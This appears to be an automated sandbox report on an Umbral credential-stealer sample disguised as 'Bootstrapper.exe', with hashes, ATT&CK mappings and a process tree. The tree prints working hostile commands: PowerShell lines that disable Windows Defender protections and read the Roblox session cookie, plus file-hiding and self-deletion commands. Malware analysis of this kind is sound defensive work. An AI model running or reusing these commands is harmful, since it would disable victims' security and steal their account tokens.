umbral | ca96eb38942e5c7f637142d52b2e8bcac496a4520b73dab10ae1ad313d79cbd3

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
25-07-2024 23:04

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General

Target

Bootstrapper.exe
Size

231KB
MD5

76da32bccf3ded8acf92d025e19324e0
SHA1

3a9d9c6c68ec7ebfdc015b276bbc4d4e59f50a69
SHA256

1974381d4a09db47060411d723079fffc960ab922b54b20323d80a1dfeefe60b
SHA512

4f93c06348defd7f11c1db76ae0353ce73a0c743809f9efb675ca2caa0285ccbe21aedbe119f0f508ea8bcd8a62c5ad9f21536f6349c504f39d9648928c27bf9
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD4DakxPlO2Zsc1niinRVb8e1mhi:DoZtL+EP8DakxPlO2Zsc1niin7T

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1296-1-0x0000000000FE0000-0x0000000001020000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe
2636	powershell.exe
2040	powershell.exe
892	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Bootstrapper.exe

Deletes itself 1 IoCs

pid	Process
1796	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1796	cmd.exe
2108	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1052	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2108	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1296	Bootstrapper.exe
2804	powershell.exe
2636	powershell.exe
2040	powershell.exe
2960	powershell.exe
892	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1296	Bootstrapper.exe
Token: SeIncreaseQuotaPrivilege	2352	wmic.exe
Token: SeSecurityPrivilege	2352	wmic.exe
Token: SeTakeOwnershipPrivilege	2352	wmic.exe
Token: SeLoadDriverPrivilege	2352	wmic.exe
Token: SeSystemProfilePrivilege	2352	wmic.exe
Token: SeSystemtimePrivilege	2352	wmic.exe
Token: SeProfSingleProcessPrivilege	2352	wmic.exe
Token: SeIncBasePriorityPrivilege	2352	wmic.exe
Token: SeCreatePagefilePrivilege	2352	wmic.exe
Token: SeBackupPrivilege	2352	wmic.exe
Token: SeRestorePrivilege	2352	wmic.exe
Token: SeShutdownPrivilege	2352	wmic.exe
Token: SeDebugPrivilege	2352	wmic.exe
Token: SeSystemEnvironmentPrivilege	2352	wmic.exe
Token: SeRemoteShutdownPrivilege	2352	wmic.exe
Token: SeUndockPrivilege	2352	wmic.exe
Token: SeManageVolumePrivilege	2352	wmic.exe
Token: 33	2352	wmic.exe
Token: 34	2352	wmic.exe
Token: 35	2352	wmic.exe
Token: SeIncreaseQuotaPrivilege	2352	wmic.exe
Token: SeSecurityPrivilege	2352	wmic.exe
Token: SeTakeOwnershipPrivilege	2352	wmic.exe
Token: SeLoadDriverPrivilege	2352	wmic.exe
Token: SeSystemProfilePrivilege	2352	wmic.exe
Token: SeSystemtimePrivilege	2352	wmic.exe
Token: SeProfSingleProcessPrivilege	2352	wmic.exe
Token: SeIncBasePriorityPrivilege	2352	wmic.exe
Token: SeCreatePagefilePrivilege	2352	wmic.exe
Token: SeBackupPrivilege	2352	wmic.exe
Token: SeRestorePrivilege	2352	wmic.exe
Token: SeShutdownPrivilege	2352	wmic.exe
Token: SeDebugPrivilege	2352	wmic.exe
Token: SeSystemEnvironmentPrivilege	2352	wmic.exe
Token: SeRemoteShutdownPrivilege	2352	wmic.exe
Token: SeUndockPrivilege	2352	wmic.exe
Token: SeManageVolumePrivilege	2352	wmic.exe
Token: 33	2352	wmic.exe
Token: 34	2352	wmic.exe
Token: 35	2352	wmic.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeIncreaseQuotaPrivilege	2244	wmic.exe
Token: SeSecurityPrivilege	2244	wmic.exe
Token: SeTakeOwnershipPrivilege	2244	wmic.exe
Token: SeLoadDriverPrivilege	2244	wmic.exe
Token: SeSystemProfilePrivilege	2244	wmic.exe
Token: SeSystemtimePrivilege	2244	wmic.exe
Token: SeProfSingleProcessPrivilege	2244	wmic.exe
Token: SeIncBasePriorityPrivilege	2244	wmic.exe
Token: SeCreatePagefilePrivilege	2244	wmic.exe
Token: SeBackupPrivilege	2244	wmic.exe
Token: SeRestorePrivilege	2244	wmic.exe
Token: SeShutdownPrivilege	2244	wmic.exe
Token: SeDebugPrivilege	2244	wmic.exe
Token: SeSystemEnvironmentPrivilege	2244	wmic.exe
Token: SeRemoteShutdownPrivilege	2244	wmic.exe
Token: SeUndockPrivilege	2244	wmic.exe
Token: SeManageVolumePrivilege	2244	wmic.exe
Token: 33	2244	wmic.exe
Token: 34	2244	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1296 wrote to memory of 2352	1296	Bootstrapper.exe	30
PID 1296 wrote to memory of 2352	1296	Bootstrapper.exe	30
PID 1296 wrote to memory of 2352	1296	Bootstrapper.exe	30
PID 1296 wrote to memory of 2820	1296	Bootstrapper.exe	33
PID 1296 wrote to memory of 2820	1296	Bootstrapper.exe	33
PID 1296 wrote to memory of 2820	1296	Bootstrapper.exe	33
PID 1296 wrote to memory of 2804	1296	Bootstrapper.exe	35
PID 1296 wrote to memory of 2804	1296	Bootstrapper.exe	35
PID 1296 wrote to memory of 2804	1296	Bootstrapper.exe	35
PID 1296 wrote to memory of 2636	1296	Bootstrapper.exe	37
PID 1296 wrote to memory of 2636	1296	Bootstrapper.exe	37
PID 1296 wrote to memory of 2636	1296	Bootstrapper.exe	37
PID 1296 wrote to memory of 2040	1296	Bootstrapper.exe	39
PID 1296 wrote to memory of 2040	1296	Bootstrapper.exe	39
PID 1296 wrote to memory of 2040	1296	Bootstrapper.exe	39
PID 1296 wrote to memory of 2960	1296	Bootstrapper.exe	41
PID 1296 wrote to memory of 2960	1296	Bootstrapper.exe	41
PID 1296 wrote to memory of 2960	1296	Bootstrapper.exe	41
PID 1296 wrote to memory of 2244	1296	Bootstrapper.exe	43
PID 1296 wrote to memory of 2244	1296	Bootstrapper.exe	43
PID 1296 wrote to memory of 2244	1296	Bootstrapper.exe	43
PID 1296 wrote to memory of 2784	1296	Bootstrapper.exe	45
PID 1296 wrote to memory of 2784	1296	Bootstrapper.exe	45
PID 1296 wrote to memory of 2784	1296	Bootstrapper.exe	45
PID 1296 wrote to memory of 1616	1296	Bootstrapper.exe	47
PID 1296 wrote to memory of 1616	1296	Bootstrapper.exe	47
PID 1296 wrote to memory of 1616	1296	Bootstrapper.exe	47
PID 1296 wrote to memory of 892	1296	Bootstrapper.exe	49
PID 1296 wrote to memory of 892	1296	Bootstrapper.exe	49
PID 1296 wrote to memory of 892	1296	Bootstrapper.exe	49
PID 1296 wrote to memory of 1052	1296	Bootstrapper.exe	51
PID 1296 wrote to memory of 1052	1296	Bootstrapper.exe	51
PID 1296 wrote to memory of 1052	1296	Bootstrapper.exe	51
PID 1296 wrote to memory of 1796	1296	Bootstrapper.exe	53
PID 1296 wrote to memory of 1796	1296	Bootstrapper.exe	53
PID 1296 wrote to memory of 1796	1296	Bootstrapper.exe	53
PID 1796 wrote to memory of 2108	1796	cmd.exe	55
PID 1796 wrote to memory of 2108	1796	cmd.exe	55
PID 1796 wrote to memory of 2108	1796	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2820	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2352
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
  2⤵
  - Views/modifies file attributes
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2784
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:892
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1052
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d0a94e64c5f5b3a7b295e084fdc94c92

SHA1
778f1cf21a96820058a1318cbf685425a43089e3

SHA256
b4ea5c1e130ec4d49c007e9857cf683b5ed451468d075c382c8d793a00f2584c

SHA512
028c7469f9b08ba918d6bfec229aad4b92069fdb90b99846fa56af02ed646f554f68a8baeb4414b809c355d41babcd44ea3e692ccca97c4ecd9c2b47c268acf8

Download Submit
memory/892-43-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download
memory/1296-0-0x000007FEF5613000-0x000007FEF5614000-memory.dmp

Filesize
4KB

Download
memory/1296-1-0x0000000000FE0000-0x0000000001020000-memory.dmp

Filesize
256KB

Download
memory/1296-2-0x000007FEF5610000-0x000007FEF5FFC000-memory.dmp

Filesize
9.9MB

Download
memory/1296-47-0x000007FEF5610000-0x000007FEF5FFC000-memory.dmp

Filesize
9.9MB

Download
memory/2636-14-0x000000001B830000-0x000000001BB12000-memory.dmp

Filesize
2.9MB

Download
memory/2636-15-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2804-7-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2804-8-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download